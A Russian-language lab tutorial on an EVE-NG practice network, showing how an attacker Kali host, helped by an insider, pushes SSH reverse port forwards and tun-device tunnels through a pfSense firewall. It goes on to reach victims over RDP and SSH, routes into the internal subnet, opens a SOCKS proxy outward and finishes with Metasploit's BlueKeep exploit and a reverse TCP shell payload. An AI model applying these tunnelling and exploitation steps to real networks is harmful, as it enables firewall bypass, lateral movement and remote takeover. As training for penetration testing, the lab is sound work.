# **Использования SSH для проникновения в защищенную инфраструктуру**
###### tags: `SSH туннель`
***SSH позволяет проникнуть внутрь инфраструктуры несмотря на наличие файервола и других СЗИ. Для выполнения данной работы необходимо подготовить следующий стенд (в данной инструкции использовался EVE-NG).***
* Машина атакующего (желательно машина с Kali Linux на борту)
* Машина клиента-жертвы (машина внутри защищенной инфраструктуры, для наглядности основная машина имеет на борту Windows 7)
* Машина клиента-жертвы №2 (еще одна машина внутри защищенной инраструктуры, нужна для того чтобы показать к с помощью ssh проникнуть на другую машину в той же инфраструктуре, пример с Linux)
* * Машина клиента-жертвы №3 (еще одна машина внутри защищенной инраструктуры, нужна для того чтобы показать к с помощью ssh проникнуть на другую машину в той же инфраструктуре, пример с Windows)
* Межсетевой экран/маршрутизатор (для имитации защищенной организации, в примере pfsense)
* Коммутатор (любой, в примере cisco)
****В результате у вас должен быть следующий стенд. Далее разберем по порядку.

1. Для начала собираем данную инфраструктуру в единое целое. Начинаем собирать наш стенд, для этого для начала добавим новую машину, нажимаем правой кнопкой мыши в любое место на стенде и выбираем кнопку Node 
Нам необходимо добавить все компоненты описанные выше, для начала добавляем атакующую машину с Linux на борту. Выбираем из списка Linux и указаываем параметры как на скриншоте. 
Аналогичным образом добавляем на стенд машины Windows 7 и Windows 10.(обратите внимание на поле QEMU Nic - указывайте e1000). Затем добавляем на стенд PfSense и коммутатор. PfSense указываем по дефолту (кроме QEMU Nic). Коммутатор выбираем со следующими параметрами - 
Далее, добавляем на стенд интернет. Аналогично машинам щелкаем правой клавишей и выбираем Network (не забудьте выбрать тип Cloud1) - 
Подключаем данную машины в сеть Интернет для этого наводим на иконку машины, нажимаем на кнопку "розетки" держим и тянем к иконке интернета (интерфейс e0) - 
Подключаем весь стенд аналогично на первом скриншоте. Запускаем все подключенные машины и устройства к стенду (правой клавишей нажимаем на устройство и выбираем "Start"). Пример запуска устройства на картинке. 
2. Переходим непосредственно к выполнению работы.
Задача данной работы проникнут в инфраструктуру, для этого мы будем использовать SSH. Ситуация будет заключаться в следующем, по какой-то причине, пользователь подключается к машине за пределы сети организации по SSH (или выполняется определенный скрипт на машине пользователя который это делает). Для того, чтобы это можно было реализовать, разрешим к машине атакующего подключаться по SSH. Подключаемся к ней, щелкаем по данной машине левой клавишей мыши (я открываю в браузере (при входе выбираю html5), вы можете использовать нативную консоль, для ее использования необходимо установить пак по следующей ссылке: https://www.eve-ng.net/index.php/download/#DL-WIN).
После запуска машинке входим в нее по логину root и паролю eve@123. Затем запускаем консоль, нам нужно разрешить подключаться по root для возможности прокинуть через ssh любой порт для этого, после запуска консоли вводим слеюущую команду (я использую nano, можно использовать любой другой текстовый редактор):
> **nano /etc/ssh/sshd_config**
Откроется конфиг следующего вида:

Необходимо исправить значение PermitRootLogin (убрать комментирование и указать значение yes), как на скриншоте выше, затем сохранить и выйти (Ctrl+X, затем клавиша y).
После этого перезапускаем службу ssh, также добавляем данную службу в автозагрузку, делаем это следующими командами:
> **systemctl restart ssh**
> **systemctl enable ssh**
Теперь к данной машине мы сможем без проблем обратиться через ssh.
3. Предположим, что внутри инфраструктуры у нас есть человек, который на определенных машинах может выполнить ssh коннект с определенными параметрами (способы реализации ssh коннекта взяты отсюда - https://habr.com/ru/post/331348/):
1. Будем реализовывать обратное подключение по SSH (Remote TCP forwarding). Для этого, запускаем на машине жертвы SSH клиент (у нас putty), переходим слева на панели во вклдаку "SSH > Tunnels" в открывшемся окне добавляем наше обратное соединение, для этого в source порт указываем порт через который мы будем подключаться (у нас **9999**), а назначение выберем **localhost:3389**. Также, в чекбоксе необходимо выбрать опцию **"Remote"**, затем нажать кнопку "Add".

После этого, переходим обратнов в поле Session (слева на панели). Указываем ip нашего удаленного сервера (можно посмотреть на удаленном сервере командой **ip a**) и подключаемся как обычно. Вводим логин и пароль (root eve@123). После подключения, на компьютере атакующего должно появиться соединения обратное, которым можно воспользоваться. Данное соединение можно увидеть с помощью команды **ss -tulnp**

Нас интересует соединени на **127.0.0.1:9999**. Так как машина атакуемого является компьютером Windows, а **3389** это RDP порт. Попробуем подключиться к localhost по RDP с помощью xfreerdp, команда выглядит следующим образом (я уже указал нужные параметры, вам нужно указать свои) xfreerdp /u:admin /p:eve@123 /v:127.0.0.1:9999 (мы указываем параметры того соединения, которое мы создали, при обращении к нему, исходная машина перенаправит на тот, что был указан как исходный). После того, как вы введете команду произойдет подключение, но нас не пустит так как пользователь уже авторизован.

2. Попробуем подключиться к похожим способом, но на соседнюю машину от нашей жертвы (использую все также машину жертвы). Соседняя машина будет на ОС linux, поэтому мы будем перенаправлять подключение с исходной машины в соседнюю по 22 порту. Итак, аналогичным образом добавляем туннели в настройках соединения ssh, как на скриншоте(заранее посмотрите ip на соседней машине).

Подключаемся по SSH к атакуемой машине. Затем также, проверим с помощью команды **ss -tulnp** какие соединения появились.

Как видим, соединения появилось, попробуем подключиться к этому хосту по ssh. C помощью следующей команды: **ssh root@127.0.0.1 –p2222**/. Соединение успешно отрабатывает. 
3. Теперь, выполним обратное действие, подключимся с соседней машины (linux), но будем делать редирект на машину windows. Данное действие выполняется следующей командой **ssh –R 9999:192.168.100.18:3389 192.168.133.141** , где -R - создаем обратное подключение, 9999:192.168.100.18:3389, первый порт, на который вешаем соединение, затем ip машины куда делаем направление и порт по которому будем подключаться, последний ip это машина куда пойдет исходное соединение (с которого впоследствии буде мподключаться).
Запускаем linux машину, которая внутри инфраструктуры и выполняем команду выше.

Соединение успешно установлено. Проверяем на атакуемой машине соединения через **ss -ltunp**. Появилось соединение 127.0.0.1:9999. Попробуем подключиться к нему как и вначале через RDP. Выполняем команду - xfreerdp /u:admin /p:eve@123 /v:127.0.0.1:9999. Соединение успешно проходит и мы получаем доступ к машине.

4. Доступ к инфраструктуре к отдельным машинам с помощью ssh мы получили, теперь же попробуем создать туннель до инфраструктуры, с помощью которого мы сможем сканировать и взаимодействовать с любыми узлами в сети. Для начала донастроим ssh на атакующей машине, для создания туннеля необходима в конфиге разрешить от рута создавать туннель. Заходим, как мы ранее заходили в конфиг ssh: **nano /etc/ssh/sshd_config**
И правим строчку **PermitTunnel** , изменяем ее на **yes** и **расскоментируем**.

Сохраняем, выходим и перезагружаем сервис (**systemctl restart ssh**).
Теперь, переходим в машину Linux внутри инфраструктуры и выполняем команду для создания туннеля: **ssh –w 5:5 root@192.168.133.141** где, -w - ключ создания туннеля, 5:5, номера интерфейсов создаваемого туннеля (на исходном:на направляемом).

Создался туннель, но для возможности взаимодействия между подсетями, на машинах необходимо настроить интерфейс туннеля. Для этого на каждой машине необходимо выполнить следующие команды:
**ip addr add 172.16.10.2/24 dev tun5**
где, ip addr add - команда добавления ip, 172.16.10.2/24 - ip который добавляем к интерфейсу (с маской), dev tun5 - указываем интерфейс к которому добавляем.
**ip link set dev tun5 up**
команда "поднятия" данного интерфейса
*!!!!ОБРАТИТЕ ВНИМАНИЕ, ЧТО SSH СОЕДИНЕНИЕ ДОЛЖНО РАБОТАТЬ, ДЛЯ ТОГО ЧТОБЫ ВЫПОЛНЯТЬ КОМАНДЫ НА ТОЙ ЖЕ МАШИНЕ В ДРУГОЙ КОНСОЛИ НАЖМИТЕ **ALT + F2** (F3,F4 и т.д., сколько консолей нужно будет)!!!!*
Скриншот для машины внутри инраструктуры:

Скриншот для атакующей машины (я сделал прямо в той же консоли):

Проверяем пинги от атакующей машины к атакуемой. Если все корректно отработано, то пинги должны проходить.
Далее, необходимо настроить NAT в сеть атакуемой инраструктуры. Для этого, на атакуемой машине сначало включаем форвардинг, для этого заходим в конфиг системы с помощью команды:
**nano /etc/sysctl.conf**
там правим следующую строчку:
***net.ipv4.ipforward=1***
то есть, убираем комментарий и выставляем значение 1.
Применяем изменения в системе:
**sysctl -p**
Настраиваем NAT через iptables, для этого нужно добавить следующие правило:
**iptables –t nat –A POSTROUTING –o ens3 –j MASQUERADE**
где, -t nat - таблица куда вносим изменения,
–A POSTROUTING - куда вносим правило,
-o ens3 - интерфейс на которое будет действовать правило,
-j MASQUERADE - включение подмены ip.
Данной командой, мы включили NAT.
И заключительный шаг, добавляем маршрут для возможности проходить в защищенную сеть, на атакующей машине выполняем следующую команду:
**ip route add 192.168.100.0/24 via 172.16.10.5**
где, 192.168.100.0 – сеть инфраструктуры, 172.16.10.5 – адрес интерфейса на туннеле удаленной машины.
Проверяем, что пинги проходят на машины за клиентом.
Можно атаковать инфраструктуру с помощью различных средств.
5. Прокси через SSH. Иногда, требуется выйти из защищаемой инфраструктуры и попасть в интернет, для этого можно воспользоваться возможность SSH проксировать трафик на удаленную машину.
Для того, чтобы запустить прокси, воспользуемся следущей командой, на машине инфраструктуры.
**ssh -f -qNTn -D ":1098" testuser@130.63.40.16**
где основной параметр -D именно он стартует прокси, остальные параметры переводят в фон и тихий режим(игнорит ошибки) наш прокси.
Данная команда создает socks прокси, с помощью которого можно выйти наружу.
4. В данном пункте попробуем провести атаку на уязвимую машину в инфраструктуре. Предположим, что мы просканировали сеть снаружи, или, способами выше, с помощью инсайдера смогли проникнуть внутрь и просканировали сеть изнутри. В результате сканирования обнаружили уязвимую машину с ОС Windows 7 на борту (например, bluekeep).
Для того, чтобы реализовать данную уязвимость, воспользуемся известной платформой для поиска и использования эксплойтов по отношению к различным уязвимым сервисам - metasploit. Для запуска платформы в kali linux используется команда **msfconsole**. Запускаем платформу (для этого в консоле вводим **msfconsole**)
Через некоторое время плаформа запустится. Предварительно просканировали систему (или узнали от инсайдера), что доступная уязвимая машина в сети это Windows 7, в которой открыт порт RDP (соответсвенно там может быть уязвимость bluekeep).
В открывшемся метасплойте произведем поиск нужной нам уязвимости командой bluekeep командой **search bluekeep** (вместо bluekeep можно искать любой другой эксплойт)

Нашлись несколь эксплойтов, для выбора нужного нам (нам подходит именно эксплойт) воспользуемся командой use и укажем нужный нам номер, итоговая команда **use 1**.
Метасплойт перейдет в оболочку нужного нам эксплойта для указания параметров эксплойта и последующей его эксплуатации. Один из основных параметров эксплойта это payload - тип полезной нагрузки, то есть каким образом должен отрабатывать эксплойт чтобы совершить нужное нам действие. Попробуем использовать payload - windows/x64/shell_reverse_tcp - он у нас под номером 33 (смотрите внимательно, в разных версиях номер может быть другим)

Предварительно необходимо просмотреть параметры соединения с машиной инсайдера с помощью **ss -tulnp**. Это необходимо для указания параметров соединение в параметры эксплойта.

Теперь, посмотрим какие параметры требуются для этого эксплойта командой **show options**.

Укажем параметры в соответствии с соединением который создал инсайдер. Параметры указываются следующим способом set <параметр> <значение>. Укажем только необходимые параметры.

После указания всех параметров попробуем использовать эксплойт командой **run**
После загрузки мы получаем доступ к консоли windows.